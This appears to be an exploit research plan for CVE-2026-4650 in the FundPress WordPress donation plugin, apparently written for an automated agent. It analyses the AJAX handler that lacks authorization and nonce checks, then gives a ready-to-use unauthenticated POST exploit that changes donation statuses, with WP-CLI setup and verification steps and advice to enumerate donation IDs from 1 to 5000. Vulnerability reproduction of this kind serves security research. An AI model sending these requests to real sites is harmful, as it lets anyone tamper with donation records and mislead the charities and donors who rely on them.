Research Plan: CVE-2026-4650 - FundPress Arbitrary Donation Status Modification

1. Vulnerability Summary

The FundPress plugin (versions <= 2.0.8) contains a missing authorization and nonce verification vulnerability within its AJAX handler for updating donation statuses. The function donate_action_status() in inc/class-dn-ajax.php is registered for unauthenticated access (wp_ajax_nopriv) but fails to verify if the requester has administrative privileges or if they own the donation being modified. Furthermore, it lacks a security nonce check, allowing any user to change the status of any donation by simply knowing or guessing its integer ID.

2. Attack Vector Analysis

• Endpoint: http://<target>/wp-admin/admin-ajax.php
• Action: donate_action_status
• URL Parameter (GET): schema=donate-ajax (Required for the initial check)
• Post Parameters (POST):
  • donate_id: The integer ID of the donation post (post type dn_donate).
  • status: The desired status suffix (e.g., completed, pending, cancelled).
• Authentication: None (Unauthenticated).
• Preconditions: A donation (post type dn_donate) must exist in the system.

3. Code Flow

1. Entry Point: An AJAX request hits admin-ajax.php with action=donate_action_status.
2. Hook Registration: In inc/class-dn-ajax.php, the __construct method registers the action:

   $actions = array(..., 'donate_action_status' => true,);
   foreach ( $actions as $action => $nopriv ) {
       add_action( 'wp_ajax_' . $action, array( $this, $action ) );
       if ( $nopriv ) { add_action( 'wp_ajax_nopriv_' . $action, array( $this, $action ) ); }
   }
   

3. Validation (Minimal): The donate_action_status() function performs basic checks:

   if ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {
       return;
   }
   if ( ! isset( $_POST['donate_id'] ) || ! isset( $_POST['status'] ) ) {
       return;
   }
   

4. The Sink: The function instantiates DN_Donate and calls update_status():

   $donate_id = ( isset( $_POST['donate_id'] ) ) ? absint( $_POST['donate_id'] ) : '';
   $status    = ( isset( $_POST['status'] ) ) ? DN_Helpper::DN_sanitize_params_submitted( $_POST['status'] ) : '';
   $donate = DN_Donate::instance( $donate_id );
   if ( $donate ) {
       $donate->update_status( 'donate-' . $status . '' ); // Vulnerable Update
       wp_send_json( array( 'status' => 'success', 'action' => $status ) );
       die();
   }
   

   There is no current_user_can() check and no wp_verify_nonce() call.

4. Nonce Acquisition Strategy

Based on the source code analysis of inc/class-dn-ajax.php, the donate_action_status() function does not implement a nonce check.

While other functions like donate_load_form() check for $_POST['nonce'] and verify it against thimpress_donate_nonce, donate_action_status() omits this check entirely. Therefore, no nonce is required to exploit this specific vulnerability.

5. Exploitation Strategy

The exploit involves sending a single unauthenticated POST request to the AJAX endpoint.

• Request Method: POST
• Target URL: http://<target>/wp-admin/admin-ajax.php?action=donate_action_status&schema=donate-ajax
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:
  • donate_id=<TARGET_DONATION_ID>&status=completed

Example Payload:
donate_id=123&status=completed

6. Test Data Setup

To verify the exploit, the following environment must be prepared:

1. Create a Campaign: Use WP-CLI to create a campaign post.

   wp post create --post_type=dn_campaign --post_title="Save the Whales" --post_status=publish
   

2. Create a Donation: Use WP-CLI to create a donation post.

   # Create a donation with ID 100 (or capture the ID returned)
   DONATE_ID=$(wp post create --post_type=dn_donate --post_title="Donation #1" --post_status=donate-pending --porcelain)
   echo "Target Donation ID: $DONATE_ID"
   

3. Check Initial Status: Confirm it is donate-pending.

   wp post get $DONATE_ID --field=post_status
   

7. Expected Results

• Response Status Code: 200 OK
• Response Body: {"status":"success","action":"completed"}
• Side Effect: The post_status of the target dn_donate post will be updated from donate-pending to donate-completed.

8. Verification Steps

After performing the HTTP request via the agent's tool, verify the database state using WP-CLI:

# Query the post status of the targeted donation
wp post get <DONATE_ID> --field=post_status

The expected output is donate-completed.

9. Alternative Approaches

If completed status does not trigger the expected behavior or if the system uses different status slugs, try other common FundPress statuses:

• status=processing (Results in donate-processing)
• status=failed (Results in donate-failed)
• status=cancelled (Results in donate-cancelled)

If the ID is unknown, an attacker would typically perform an enumeration attack (e.g., iterating donate_id from 1 to 5000) as donation IDs are standard WordPress post IDs and often sequential.